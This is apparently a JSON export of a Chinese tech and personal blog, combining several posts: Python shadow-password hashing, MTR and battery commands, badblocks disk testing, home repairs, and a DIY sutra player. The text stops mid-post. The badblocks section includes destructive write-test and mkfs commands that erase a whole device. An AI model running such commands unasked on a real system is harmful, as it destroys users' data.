指令稿：\n# 產生 MD5 密碼雜湊 import random import string import crypt # 密碼（明碼） myPassword = \u0026#39;hello123\u0026#39; # 產生隨機的 slot randomSalt = \u0026#39;\u0026#39;.join(random.sample(string.ascii_letters,8)) # 產生 MD5 密碼雜湊 myHash = crypt.crypt(myPassword, \u0026#39;$1$%s$\u0026#39; % randomSalt) print(myHash) $1$ympviwQO$ypOVhoNbR/5uXgtk9NZVA/ SHA-256 密碼雜湊 若要產生 SHA-256 的密碼雜湊，只要自己修改一下 ID 欄位的值即可，也就是將開頭的 $1 改為 $5，其餘程式碼都相同：\n# 產生 SHA-256 密碼雜湊 import random import string import crypt myPassword = \u0026#39;hello123\u0026#39; randomSalt = \u0026#39;\u0026#39;.join(random.sample(string.ascii_letters,8)) # 產生 SHA-256 密碼雜湊 myHash = crypt.crypt(myPassword, \u0026#39;$5$%s$\u0026#39; % randomSalt) print(myHash) $5$mHZziShP$ntL5UX68GG76VlcXMzmoerviugSaJF//j3WIDbsUOrA SHA-512 密碼雜湊 產生 SHA-512 密碼雜湊的作法也是類似，將 $1 改為 $6 即可：\n# 產生 SHA-512 密碼雜湊 import random import string import crypt myPassword = \u0026#39;hello123\u0026#39; randomSalt = \u0026#39;\u0026#39;.join(random.sample(string.ascii_letters,8)) # 產生 SHA-512 密碼雜湊 myHash = crypt.crypt(myPassword, \u0026#39;$6$%s$\u0026#39; % randomSalt) print(myHash) $6$OCymiXEe$L/Dmqi7aHl.7zdtm9E4OP.chumBGVCy9DcTJTJYk3RMT3/hbz9k/oxERQS/h3rlsWI6GdzsFR/x5XqftotFzI/ 參考資料 Linux 技術手札 ","permalink":"https://blog.gtwang.org/programming/generate-linux-shadow-encrypted-password/","summary":"\u003cp\u003e這裡介紹如何使用 Python 自己產生 Linux 中 \u003ccode\u003e/etc/shadow\u003c/code\u003e 所使用的加密格式密碼。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統上，所有使用者的密碼都是以加密的形式存放在 \u003ca href=\"/linux/linux-etc-shadow-file-format/\"\u003e/etc/shadow 檔案\u003c/a\u003e中，如果想要手動產生，可以使用以下所介紹的方法。\u003c/p\u003e","title":"Python 產生 Linux 的 /etc/shadow 加密格式密碼教學"},{"content":"本篇介紹如何在 Linux 中使用 MTR 這個網路診斷工具，檢測網路連線相關的問題。\nMTR 是一個跨平台、簡單易用的命令列網路檢測工具，其結合了 ping 與 traceroute 兩個指令的功能，並提供了更詳細的資訊，讓管理者在使用上更為方便。\nMTR 運作原理 MTR 在一開始會針對指定的主機，以 traceroute 找出中間的每一個網路節點（閘道器、路由器、橋接器等），然後使用 ping 去檢查每一個節點的網路連線狀況，即時更新在輸出的報表中，讓管理者一目了然。\n安裝 MTR 大部份的 Linux 發行版中預設都會安裝 MTR 這個工具，如果您的系統沒有安裝的話，亦可透過內建的套件來安裝，以下是各種不同的套件管理系統的安裝方式：\n# 使用 apt 安裝 sudo apt install mtr # 使用 yum 安裝 sudo yum install mtr # 使用 dnf 安裝 sudo dnf install mtr 使用 MTR MTR 最簡單的使用方式就是執行 mtr 指令並指定遠端主機的網域名稱（domain name）或 IP 位址，例如：\nmtr www.google.com.tw 若要離開 MTR 的畫面，可以按下 q 鍵，或是按下 Ctrl + c 也可以。\n以 IP 位址表示節點 MTR 會自動透過 DNS 查詢各個網路節點的網域名稱，如果想要統一以 IP 位址來表示，可以加上 -n 參數：\n# 以 IP 位址表示節點 mtr -n www.google.com.tw 同時以網域名稱與 IP 位址表示節點 如果想要同時顯示各節點的網域名稱以及 IP 位址，可以改用 -b 參數：\n# 同時顯示網域名稱與 IP 位址 mtr -b www.google.com.tw 指定 Ping 上限 MTR 預設會不斷地持續發送 ping 封包，直到使用者按下 q 或 Ctrl + c 離開為止。\n若要指定 MTR 發送 ping（ICMP ECHO）封包的上限，可以使用 -c 來指定上限值：\n# 指定 ICMP ECHO 發送上限數為 5 mtr -c 5 www.google.com.tw 這樣當 MTR 發送的 ping 封包達到上限值的時候就會停止，並且自動離開 MTR 的畫面。\n產生報表 如果想要將 MTR 的測試結果輸出為報表，可以使用 -r 參數，例如：\n# 輸出報表 mtr -c 5 -r www.google.com.tw \u0026amp;gt; output.txt 輸出的 output.txt 內容會類似這樣：\nStart: Tue Jul 17 20:08:50 2018 HOST: gtwang-pc Loss% Snt Last Avg Best Wrst StDev 1.|-- 192.168.0.1 0.0% 5 2.3 6.3 2.3 10.5 3.6 2.|-- h254.s98.ts.hinet.net 0.0% 5 9.0 10.6 8.4 16.8 3.4 3.|-- hymd-3302.hinet.net 0.0% 5 8.0 8.8 8.0 10.5 0.7 4.|-- tne1-3012.hinet.net 0.0% 5 17.1 17.3 16.0 19.1 1.1 5.|-- pcpd-3212.hinet.net 0.0% 5 15.9 14.9 14.0 15.9 0.7 6.|-- pcpd-3211.hinet.net 0.0% 5 17.9 16.8 14.3 18.4 1.7 7.|-- 72.14.218.142 0.0% 5 13.1 22.3 13.1 41.5 11.9 8.|-- 108.170.244.65 0.0% 5 16.1 15.8 15.2 16.1 0.0 9.|-- 209.85.245.253 0.0% 5 14.8 14.9 14.5 15.7 0.0 10.|-- tsa01s08-in-f3.1e100.net 0.0% 5 13.0 17.9 13.0 35.1 9.6 如果有些太長的節點網域名稱會被截斷的話，可以改用 -w 參數，以寬格式輸出報表：\n# 以寬格式輸出報表 mtr -c 5 -w www.google.com.tw \u0026amp;gt; output.txt 自訂欄位 若想要改變 MTR 輸出的表格欄位，可以使用 -o 自行指定資料的欄位與順序，例如：\n# 自訂輸出欄位 mtr -o \u0026#34;LSDR NBAW JMXI\u0026#34; www.google.com.tw 以下是各個英文字母所代表的欄位：\nL：封包遺失率（Loss ratio）。 D：封包遺失數（Dropped packets）。 R：封包接收數（Received packets）。 S：封包發送數（Sent Packets）。 N：最新的 RTT（Newest RTT，單位為 ms）。 B：最佳的 RTT（Min/Best RTT，單位為 ms）。 A：平均的 RTT（Average RTT，單位為 ms）。 W：最差的 RTT（Max/Worst RTT，單位為 ms）。 V：標準差（Standard Deviation）。 G：幾何平均（Geometric Mean）。 J：目前的 Jitter 值（Current Jitter）。 M：平均的 Jitter 值（Jitter Mean/Avg.）。 X：最差的 Jitter 值（Worst Jitter）。 I：Interarrival Jitter 指定 Ping 封包發送間隔 MTR 預設會每秒發送一個 ping（ICMP ECHO）封包，若要改變發送封包的間隔時間，可以使用 -i 參數指定間隔的秒數：\n# 每隔 2 秒發送一個 ICMP ECHO 封包 mtr -i 2 www.google.com.tw 使用 TCP 或 UDP 封包 MTR 也可以使用 TCP SYN 封包或是 UDP 的封包來替代預設的 ICMP ECHO 封包，進行網路連線的測試：\n# 使用 TCP 封包測試網路連線 mtr --tcp www.google.com.tw # 使用 UDP 封包測試網路連線 mtr --udp www.google.com.tw 指定最大節點數 MTR 預設的最大節點數是 30，若要改變這個設定，可以使用 -m 參數指定新的設定值：\n# 設定最大節點數為 35 mtr -m 35 www.google.com.tw 指定封包大小 如果想要指定 ICMP 的封包大小，可以使用 -s 參數來指定：\n# 設定封包大小為 256 mtr -s 256 www.google.com.tw 如果將封包大小指定為負數，則 MTR 在每次發送封包時，就會自動隨機產生該數值以下的亂數值，作為封包大小：\n# 產生 256 以下的亂數，作為封包大小 mtr -s -256 www.google.com.tw 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/mtr-linux-network-diagnostic-tool/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中使用 MTR 這個網路診斷工具，檢測網路連線相關的問題。\u003c/p\u003e\n\u003cp\u003eMTR 是一個跨平台、簡單易用的命令列網路檢測工具，其結合了 \u003ccode\u003eping\u003c/code\u003e 與 \u003ccode\u003etraceroute\u003c/code\u003e 兩個指令的功能，並提供了更詳細的資訊，讓管理者在使用上更為方便。\u003c/p\u003e","title":"MTR：Linux 網路診斷工具使用教學"},{"content":"本篇是我家的水塔在地震後破洞漏水，自己用 AB 膠修補的過程記錄。\n最近台南發生芮氏規模 4.3 的地震，結果我家的水塔在地震完之後就開始漏水，水塔下方整片都是濕答答的，感覺漏得不小，我還拿臉盆去接水。\n經過細心檢查之後，發現是水塔接近底部的地方，有一個非常小的裂縫在漏水，如果沒有水跑出來的話，還完全看不出有裂縫。\n由於剛好破在接近底部的地方，所以水壓比較高，雖然只是小縫隙，漏出來的水還是滿多的，要趕快想辦法才行。\n我上網查了一下水塔破洞的修補方式，看起來就是先把水放掉，然後清理一下表面，再來開始補洞。\n補洞的方式有好多種，有焊接、中性矽利康、AB 補土、AB 膠、快乾膠等等，我手上剛好有之前沒用完的 AB 膠，所以打算先直接用 AB 膠補補看。而補洞的方向又分為內補與外補，內補的強度會比外補好，但是要爬進水塔施工，非常麻煩，所以我完全不考慮，只想從外面補一下就好。\n先準備好金屬用的 AB 膠與一把鋼刷，鋼刷是用來清理水塔表面用的，把表面清理乾淨可以增強 AB 膠的附著力，以免補了之後又脫落。如果沒有鋼刷，用粗的砂紙也可以，或是粗一點的菜瓜布等等。\n工具準備好之後，就可以開始進行補洞了。\nStep 1\n把抽水馬達與進水閥都關掉，然後用洗衣機多洗一些衣服、被單之類的，把水塔的水用光，讓破洞處不要再有水漏出來。\nStep 2\n用鋼刷（或砂紙等）把破洞附近的表面刷一下，清除雜質。\n刷完之後，也要記得把表面擦乾，不要有水分。\nStep 3\n擠出適量的 AB 膠，以 1:1 的量混合均勻。\nAB 膠充分混合之後，會像這樣。\nStep 3\n將混合好的 AB 膠塗在破洞處，膠如果夠的話，可以稍微途大遍一點，比較不容易漏。\nAB 膠在混合之後，硬化的速度很快，所以動作要快，我在塗抹的時候，最後一次想要塗一些在破洞處的上方，讓它流下去剛好蓋住，結果動作太慢，流到一半就硬掉了，不過還好第一層已經塗好了，後來這一層沒塗好就比較沒關係。\n這樣塗完 AB 膠之後，過了幾十分鐘好像就乾了，不過為了保險起見，我還是等了三個小時之後才讓水塔進水，結果非常完美，補好之後就完全不會漏水了。\n參考資料 天地自然人 Mobile01 ","permalink":"https://blog.gtwang.org/life/fix-water-tank-leaking-20180712/","summary":"\u003cp\u003e本篇是我家的水塔在地震後破洞漏水，自己用 AB 膠修補的過程記錄。\u003c/p\u003e\n\u003cp\u003e最近台南發生芮氏規模 4.3 的地震，結果我家的水塔在地震完之後就開始漏水，水塔下方整片都是濕答答的，感覺漏得不小，我還拿臉盆去接水。\u003c/p\u003e","title":"用 AB 膠修補水塔破洞漏水記錄"},{"content":"本篇介紹如何在 Linux 系統上使用指令的方式查詢筆記型電腦的電池狀態。\n在 Linux 系統中，有關於電池以及 ACPI 的資訊都放在 /proc 與 /sys 底下，若要查看裡面的資料，可以使用各種的指令或是圖形介面（GUI）的工具，以下是相關指令與工具的使用教學。\nupower 指令 UPower 的 upower 命令列工具可以列出所有的電源資訊，亦用來查詢電池的相關資料。\n# 查詢電池資訊 upower -i /org/freedesktop/UPower/devices/battery_BAT0 native-path: BAT0 vendor: ASUSTeK model: ASUS Battery power supply: yes updated: 2018年07月14日 (週六) 15時11分00秒 (18 seconds ago) has history: yes has statistics: yes battery present: yes rechargeable: yes state: discharging warning-level: none energy: 28.853 Wh energy-empty: 0 Wh energy-full: 43.901 Wh energy-full-design: 48.336 Wh energy-rate: 10.944 W voltage: 11.4 V time to empty: 2.6 hours percentage: 65% capacity: 90.8246% technology: lithium-ion icon-name: 'battery-full-symbolic' History (charge): 1531465860\t65.000\tdischarging 1531490219\t0.000\tunknown 1531480242\t0.000\tunknown History (rate): 1531465860\t10.944\tdischarging 1531490219\t0.000\tunknown 1531480242\t0.000\tunknown acpi 指令 acpi 指令可以從 /proc 與 /sys 底下抓出電池的相關資訊，以及一些 ACPI 的訊息。\n若您的系統沒有安裝 acpi 指令，可以透過內建的套件管理程式安裝：\n# 使用 yum 安裝（CentOS 等） sudo yum install acpitool # 使用 apt 安裝（Ubuntu、Debian 等） sudo apt install acpitool 安裝好之後，直接執行這個指令就會得到簡短扼要的電量訊息：\nacpi Battery 0: Discharging, 60%, 02:30:52 remaining 使用 -a 參數可以查看直流變壓器（AC adapter）的狀況：\n# 直流變壓器狀況 acpi -a Adapter 0: off-line 若要查詢溫度，可以使用 -t 參數：\n# 查詢溫度 acpi -t Thermal 0: ok, 45.0 degrees C 使用 -V 參數可以讓它輸出所有的資訊：\n# 所有資訊 acpi -V Battery 0: Discharging, 60%, 02:09:55 remaining Battery 0: design capacity 4240 mAh, last full capacity 3850 mAh = 90% Adapter 0: off-line Thermal 0: ok, 44.0 degrees C Thermal 0: trip point 0 switches to mode critical at temperature 103.0 degrees C Thermal 0: trip point 1 switches to mode passive at temperature 102.0 degrees C Cooling 0: x86_pkg_temp no state information available Cooling 1: B0D4 no state information available Cooling 2: GEN4 no state information available Cooling 3: GEN3 no state information available Cooling 4: GEN2 no state information available Cooling 5: GEN1 no state information available Cooling 6: INT3400 Thermal no state information available Cooling 7: intel_powerclamp no state information available Cooling 8: Processor 0 of 3 Cooling 9: Processor 0 of 3 Cooling 10: Processor 0 of 3 Cooling 11: Processor 0 of 3 /sys 目錄 我們也可以直接在 /sys/class/power_supply/BAT0/ 目錄底下，查看電池的相關資訊：\n# /sys 底下的電池資訊 ls -l /sys/class/power_supply/BAT0/ 例如 capacity 這個檔案就記錄了電池的電量：\ncat /sys/class/power_supply/BAT0/capacity 53 GNOME 電源統計 若想要使用圖形介面的工具，可以使用 GNOME 內建的電源統計：\ngnome-power-statistics 在 GNOME 電源統計的報表中，看到的資訊跟上面的指令差不多：\n這裡還有電池的歷史紀錄功能，非常好用。\n參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-laptop-battery-status-temperature/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統上使用指令的方式查詢筆記型電腦的電池狀態。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統中，有關於電池以及 ACPI 的資訊都放在 \u003ccode\u003e/proc\u003c/code\u003e 與 \u003ccode\u003e/sys\u003c/code\u003e 底下，若要查看裡面的資料，可以使用各種的指令或是圖形介面（GUI）的工具，以下是相關指令與工具的使用教學。\u003c/p\u003e","title":"Linux 查詢筆電電池狀態指令教學"},{"content":"本篇介紹如何在 Linux 系統中使用 badblocks 指令檢查磁碟的壞軌，並且配合 mkfs 等指令修復壞軌。\n一般的硬碟、隨身碟或記憶卡等儲存設備，在使用久了之後，都有可能會出現部份的壞軌，當資料放在這些損壞的部位時，就會產生錯誤，而如果磁碟損壞的程度不嚴重，我們可以將損壞的部份排除，只使用良好的部份，靠著這樣的方式修復受損的磁碟。\n以下是在 Linux 中使用 badblocks 指令檢查磁碟的壞軌，以及使用 mkfs 或 fsck 指令修復壞軌的教學。\n讀寫測試（抹除資料） badblocks 指令支援好幾種測試模式，最普通的方式就是一般的讀寫測試（-w 參數），它預設會以 0xaa、0x55、0xff 與 0x00 這四個 patterns 進行寫入與讀取的測試，在這種測試模式之下，硬碟（或隨身碟、記憶卡等儲存設備）中的資料會被抹除，通常適用於新買來的儲存設備，也就是儲存設備裡面沒有任何資料的狀況。\n# 檢查 /dev/sdb 是否有壞軌（抹除硬碟資料） sudo badblocks -wsv /dev/sdb 這裡我們另外加上 -s 與 -v 參數，作用是可以讓它顯示測試進度與詳細的測試結果。\n測試結果的 errors 值若有出現不是 0 的數字，就代表硬碟應該是有問題了：\n亂數 Pattern 若要以亂數產生測試用的 pattern，可以使用 -t 參數將 pattern 指定為 random：\n# 亂數產生測試 pattern sudo badblocks -wsv -t random /dev/sdb 讀寫測試（保留資料） 如果想要對有資料的硬碟進行測試，可以使用 -n 參數以保留資料的模式進行壞軌測試，在這種模式之下，badblocks 會先將硬碟中原始的資料備份之後，再進行寫入與讀取的測試，測試完之後再將原來的資料放回去，適合用於一般正在使用中的儲存設備。\n# 檢查 /dev/sdb 是否有壞軌（保留硬碟資料） sudo badblocks -nsv /dev/sdb 測試通過次數 badblocks 在預設的狀況下，只要有發現壞軌的狀況，就會自動再增加測試的次數，直到儲存設備通過完整的一次測試，都沒有發現新的壞軌時，才會停止整個測試流程。\n如果想要進行更嚴格的測試，可以加上 -p 參數，並指定通過測試的次數，例如若將通過測試次數指定為 3 的話，儲存設備就必須連續通過 3 次的完整測試才會停止：\n# 通過 3 次測試才停止 sudo badblocks -wsv -p 3 /dev/sdb 修復壞軌 若硬碟或隨身碟、記憶卡等儲存設備出現壞軌，而損壞的部份不多的話，可以將那些壞掉的部份排除不使用，這樣儲存設備就可以繼續正常使用。\n修復壞軌有兩種方式，一種是以 badblocks 檢查壞軌，將壞軌資訊以 -o 參數輸出至檔案：\n# 檢查壞軌 sudo badblocks -wsv -o badblocks.txt /dev/sdb1 接著再使用 mkfs 依據壞軌資訊建立新的檔案系統，而 mkfs 有一系列的指令，以 fat 檔案系統來說，可以使用 mkfs.fat：\n# 排除壞軌，建立檔案系統 mkfs.fat -l badblocks.txt /dev/sdb1 這樣就完成修復壞軌的動作了。\n另外一種方式是直接使用 mkfs 的 -c 參數，在建立檔案系統之前，自動檢查壞軌並且排除之：\n# 排除壞軌，建立檔案系統 mkfs.fat -c /dev/sdb1 對於既有的檔案系統，可以嘗試使用 fsck 指令進行修復：\n# 修復檔案系統 fsck.fat /dev/sdb1 參考資料 ArchWiki Tecmint ","permalink":"https://blog.gtwang.org/linux/linux-badblocks-command-search-for-bad-blocks-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統中使用 \u003ccode\u003ebadblocks\u003c/code\u003e 指令檢查磁碟的壞軌，並且配合 \u003ccode\u003emkfs\u003c/code\u003e 等指令修復壞軌。\u003c/p\u003e\n\u003cp\u003e一般的硬碟、隨身碟或記憶卡等儲存設備，在使用久了之後，都有可能會出現部份的壞軌，當資料放在這些損壞的部位時，就會產生錯誤，而如果磁碟損壞的程度不嚴重，我們可以將損壞的部份排除，只使用良好的部份，靠著這樣的方式修復受損的磁碟。\u003c/p\u003e","title":"Linux 使用 badblocks 指令測試硬碟、隨身碟、記憶卡壞軌與修復教學"},{"content":"在家播放念經或講經的音樂有非常多的好處，淨空法師也非常推崇。\n可以用來播經的設備有很多，例如手機、電視、電腦、隨身聽、音響等，市面上也可以買到現成的念佛機，而如果想要以最低的成本，達到最高的效益，可以自己購買 mp3 解碼板，自己製作播經機，組起來一台的成本不到一百元（不含記憶卡）。\n本免費索取活動已經結束。\n自己組裝播經機的好處是成本很便宜，零件也都看的到，既安全、又省電，它的用電量不到手機充電的百分之一（可參考實測的文章），而且曲目可以自己選擇，想要自己更換曲目的話，只要把記憶卡拔下來用讀卡機插進電腦，把裡面的 mp3 檔案換成自己想要播放的就可以了。\n若是要播放給無形眾生聽的話，音量就不需要很大，只要有聲音他們就可以聽得見，所以這種狀況就非常適合用耳機來播放，把音量設定好之後，就放著讓它一直重複撥放即可，也不用擔心吵到別人等問題。\n我目前手上還有許多零件，若有需要的人可以跟我免費索取，目前我搭配的記憶卡是 16GB 的，以下是我自己挑選的一些曲目，給大家參考，組裝時可以自己選擇要放哪一些：\n淨空法師講解地藏菩薩本願經（1998 年） 淨空法師講解十善業道經（2000 年） 淨空法師講解太上感應篇（1999 年） 淨空法師講解地藏經大意（1992 年） 淨空法師講解地藏經玄義（1998 年） 淨空法師講解中峰三時繫念法事全集（2003 年） 中峰三時繫念法事（悟道法師帶領唱頌） 地藏菩薩本願經（道昇居士木魚） 地藏菩薩本願經（佛光山） 地藏菩薩本願經（華藏學會） 南無地藏王菩薩聖號 組裝的時候建議把音量調整到適當的大小，就可以放著讓他自動重複播放裡面的 mp3 檔案，平常就這樣插著播放即可，因為它很省電，所以也不用擔心過熱問題。若想要關機的話，就直接拔插頭就可以了。\n如果家裡有佛廳，當然放在佛廳播放最好，如果沒有的話，就放在乾淨、清淨的地方，不要距離電視或音響太近，以免干擾眾生聽經，而擺放的高度不宜過低，以表示尊重。\n若要利益有緣的眾生，淨空法師是建議可以撥放《地藏經》、《十善業道經》、《太上感應篇》與《無量壽經》，但是淨空法師講解無量壽經的 mp3 非常長，所以放了前三部經之後，無量壽經就放不下了，所以如果四部經都要播，可以自己把記憶卡換成 32 GB 的。\n這個播經機的零件很簡單，如果用壞了，更換零件也非常容易，有可能會壞掉的應該就只有那片 mp3 解碼板而已，需要的人也可以單獨索取個別零件。\n","permalink":"https://blog.gtwang.org/free/free-buddhist-scriptures-player-menu/","summary":"\u003cp\u003e在家\u003ca href=\"/life/buddha-machine-benefits-and-diy-instructions/\"\u003e播放念經或講經的音樂有非常多的好處\u003c/a\u003e，淨空法師也非常推崇。\u003c/p\u003e\n\u003cp\u003e可以用來播經的設備有很多，例如手機、電視、電腦、隨身聽、音響等，市面上也可以買到現成的念佛機，而如果想要以最低的成本，達到最高的效益，可以\u003ca href=\"/iot/mp3-lossless-decoder-board-20180621/\"\u003e自己購買 mp3 解碼板，自己製作播經機\u003c/a\u003e，組起來一台的成本不到一百元（不含記憶卡）。\u003c/p\u003e","title":"[結緣品] 自製播經機免費索取說明"},{"content":"本篇記錄我種植的艾草，在好幾天的大雨之後，泡水死掉的紀錄。\n最近全台灣都下了好大的雨，我們種植在田裡的艾草都泡在水裡，結果因為實在是泡太久了，所以全部都泡死掉，而旁邊野生品種的決明子卻是完全不怕水，泡完之後長得更好。以下是一些影片與照片的紀錄。\n以下這段影片大約是泡了一週左右的艾草，葉子都開始枯黃了。\n野生的決明子看起來不太怕水，葉子都還非常漂亮。\n隔天田裡的積水稍微退了，不過土壤還是非常濕。\n泡過水之後，野生決明子不但沒有死掉，還發出很多株小苗。\n又過了四天之後，所有的艾草都枯萎，應該是跟都泡爛掉了。\n整片田只剩下野生決明子還長的很好。\n經過這次的經驗就知道艾草泡過一、兩週的水之後就會死掉，所以要種艾草的話，不能找會積水的田，而如果是決明子的話，就沒有關係。\n","permalink":"https://blog.gtwang.org/agriculture/flooded-artemisias-sigang-tainan-20180624/","summary":"\u003cp\u003e本篇記錄我種植的艾草，在好幾天的大雨之後，泡水死掉的紀錄。\u003c/p\u003e\n\u003cp\u003e最近全台灣都下了好大的雨，我們種植在田裡的艾草都泡在水裡，結果因為實在是泡太久了，所以全部都泡死掉，而旁邊野生品種的決明子卻是完全不怕水，泡完之後長得更好。以下是一些影片與照片的紀錄。\u003c/p\u003e","title":"[台南西港] 大雨淹水、艾草枯萎記錄"},{"content":"本篇是鴨間稻有機纖倍素簡單的開箱介紹文章。\n米糠的好處有很多，而我自己平常都有固定在吃，目前市面上的有機米糠品牌也不少，但是米糠的處理需要非常好的安定化技術，才能保留它的營養價值，如果沒處理好，讓米糠酸化的話，營養價值就降低了。\n我之前吃過好多家不同廠牌的米糠，一直找不到品質比較滿意的，後來吃過鴨間稻出產的有機纖倍素之後，發現他們的米糠安定化技術做的很好，生產出來的米糠品質相當不錯，是目前我吃過的米糠中最滿意的，所以如果想吃米糠的話，非常推薦大家去吃吃看鴨間稻的有機纖倍素，從蝦皮拍賣網站上面就可以直接購買。\n鴨間稻有機纖倍素的包裝非常講究，最外層有一層塑膠封膜。\n瓶身上面有產品的簡介，還有食用的方式。\n營養標示也非常清楚。\n這是它的有機認證標章。\n鴨間稻有機纖倍素還隨罐附贈一張小 DM。\n這張小 DM 言簡意賅，膳食纖維是燕麥的 4 倍，維他命 E 是燕麥的 5.5 倍，維他命 B1 是燕麥的 2 倍，GABA 是發芽糙米的 1.8 倍，IP6 則是發芽糙米的 19 倍，讓人一目了然有機纖倍素的營養價值。\n這是有機纖倍素的易開罐密封包裝。\n打開之後，裡面還有一層真空包裝。\n整個包裝非常講究。\n這就是鴨間稻的有機纖倍素，我個人吃過之後，感覺品質真的是我吃過的米糠中最好的。\n","permalink":"https://blog.gtwang.org/unboxing/e-rice-organic-stabilized-rice-bran-2018/","summary":"\u003cp\u003e本篇是鴨間稻有機纖倍素簡單的開箱介紹文章。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/life/rice-bran/\"\u003e米糠的好處\u003c/a\u003e有很多，而我自己平常都有固定在吃，目前市面上的有機米糠品牌也不少，但是米糠的處理需要非常好的安定化技術，才能保留它的營養價值，如果沒處理好，讓米糠酸化的話，營養價值就降低了。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e我之前吃過好多家不同廠牌的米糠，一直找不到品質比較滿意的，後來吃過鴨間稻出產的有機纖倍素之後，發現他們的米糠安定化技術做的很好，生產出來的米糠品質相當不錯，是目前我吃過的米糠中最滿意的，所以如果想吃米糠的話，非常推薦大家去吃吃看鴨間稻的有機纖倍素，從\u003ca href=\"https://shopee.tw/%E3%80%90%E9%B4%A8%E9%96%93%E7%A8%BB%E3%80%91%E6%9C%89%E6%A9%9F%E7%BA%96%E5%80%8D%E7%B4%A0%28rice-bran%E8%83%9A%E8%8A%BD%E7%B1%B3%E7%B3%A0%E9%BA%A9%29%E2%80%BB%E7%8E%84%E7%B1%B3%E8%83%9A%E8%8A%BD%E4%B9%8B%E7%B2%BE%E8%8F%AF%EF%BC%81-i.54912457.1352595745\"\u003e蝦皮拍賣網站\u003c/a\u003e上面就可以直接購買。\u003c/p\u003e","title":"[開箱] 鴨間稻有機纖倍素（米糠）"},{"content":"本篇是 mp3 無損解碼板的簡單介紹。\n最近我想組裝可以長時間連續撥放 mp3 音樂的設備，希望成本低、耐用、省電且安全，作為念佛機或播經機使用（有興趣的人，請參考念佛機與播經的好處），而在嘗試過以樹莓派製作 mp3 音樂撥放器之後，發現它雖然很好用，但是成本實在是太高了，非常不划算。\n後來赫然發現市面上竟然有一款「mp3 無損解碼板」，是專門用來撥放 mp3 的板子，售價非常便宜，只要幾十塊，在露天拍賣或是蝦皮購物等拍賣網站上面都可以買的到，買來直接就可以使用，非常方便。\n上圖板子的右上方有四個按鍵：\nPrev/V-- 鍵：「短按」為上一首歌曲，「長按」為音量遞減。 Next/V++ 鍵：「短按」為下一首歌曲，「長按」為音量遞增。 P/P/Mode 鍵：「短按」為播放與暫停切換，「長按」為 MicroSD 卡與 USB 隨身碟切換。 Repeat 鍵：「短按」為單曲與全曲循環切換，插電開機後預設是全曲循環。 下圖左邊的是喇叭的接線端子，板載 2W 單聲道功放（5V 供電最高可達 3W），建議搭配 4Ω 3W 的喇叭。3.5mm 耳機插座可接耳機或喇叭。\n儲存媒體支援 USB 隨身碟或 MicroSD 記憶卡，只要把 mp3 音樂檔放進 USB 隨身碟或 MicroSD 記憶卡，插上去就可以撥放了。\n使用 MicroSD 供電介面，供電範圍為 3.7V ～ 5.5V，可以用 5V 的行動電源、USB 充電器供電，或是採用 3.7V 的鋰電池供電。\n這張板子是使用 GPD2856C-009A 這一個 mp3 解碼晶片，右下方的 8002A 是功率放大晶片。\n使用時只要插上 MicroSD 記憶卡、耳機與電源，就會自動撥放。撥放的時候，有一顆紅色的播放指示燈會一直閃。\n也可以使用 USB 隨身碟來撥放。\n實際測試這張 mp3 解碼板的耗電量，結果電流低到測不出來（小於 0.01 A），我自己測試長時間播放之後，用手摸它也感覺不出有溫度，看起來非常省電。\n大量採購 在經過幾天的測試之後，感覺張 mp3 解碼板真的非常好用，所以直接從大陸的淘寶買了 21 張，順便也買了 20 個，總共花了 205.2 元人民幣（含 6 元大陸運費，以及 10 元跨境運費），大約等了一週就收到了。\n從大陸寄過來的包裹，通常都會像這樣被壓的爛爛的。\n若像 mp3 解碼板這樣小張的板子，通常稍微壓一下應該是沒有影響的。\n這些就是 21 張的 mp3 無損解碼板。\n打開檢查一下，看起來狀況都很好。\n另外一盒是我順便買的小蟻 USB 電源供應器，準備用這些來組裝播經機。\n若要便宜的 USB 線，可以從網路上尋找，我找到最低價的是一條 8 元的 USB 線，而耳機要便宜的話，也可以考慮 35 元的耳機。\n如果感覺使用裸露的 mp3 解碼板不太美觀，可以買個接線盒，自己用電鑽打洞。\n自製念佛機、播經機 把 mp3 解碼板放進打好洞的接線盒，接上電源語音源線。\n蓋上蓋子，這樣就好看多了。\n將自己想要聽的佛經或講經 mp3 檔放進去，就完成自製的 mp3 念佛機或播經機了，便宜又好用。\n","permalink":"https://blog.gtwang.org/iot/mp3-lossless-decoder-board-20180621/","summary":"\u003cp\u003e本篇是 mp3 無損解碼板的簡單介紹。\u003c/p\u003e\n\u003cp\u003e最近我想組裝可以長時間連續撥放 mp3 音樂的設備，希望成本低、耐用、省電且安全，作為念佛機或播經機使用（有興趣的人，請參考\u003ca href=\"/life/buddha-machine-benefits-and-diy-instructions/\"\u003e念佛機與播經的好處\u003c/a\u003e），而在嘗試過\u003ca href=\"/iot/raspberry-pi/raspberry-pi-omxplayer-mp3-player-configuration-tutorial/\"\u003e以樹莓派製作 mp3 音樂撥放器\u003c/a\u003e之後，發現它雖然很好用，但是成本實在是太高了，非常不划算。\u003c/p\u003e","title":"[開箱] MP3 無損解碼板，低成本音樂播放器"},{"content":"本篇整理淨空法師講述在家播放講經、誦經 mp3 的好處，以及各種播放設備與方法。\n最近我聽了淨空法師的建議，在家中撥放《地藏經》、《十善業道經》、《太上感應篇》與《無量壽經》的講經 mp3，利益有緣的眾生，才剛開始準備播放講經的設備，就有奇特的感應，感覺效果真是不可思議，所以特別把相關的資料整理出來，跟大家分享，如果想要播經利益眾生的人可以參考看看。\n講經、誦經影片與 MP3 資源 網路上有非常多免費的講經與誦經多媒體資料，而且大部分的品質都很好，很容易就可以找到自己想要聽的經典。\n線上觀看 淨空法師長年講述各類的經典，而且將其錄製成影片讓大家免費觀看，其種類與數量都非常豐富，可以從淨空法師專集網中的影音報恩講堂或是他們的 YouTube 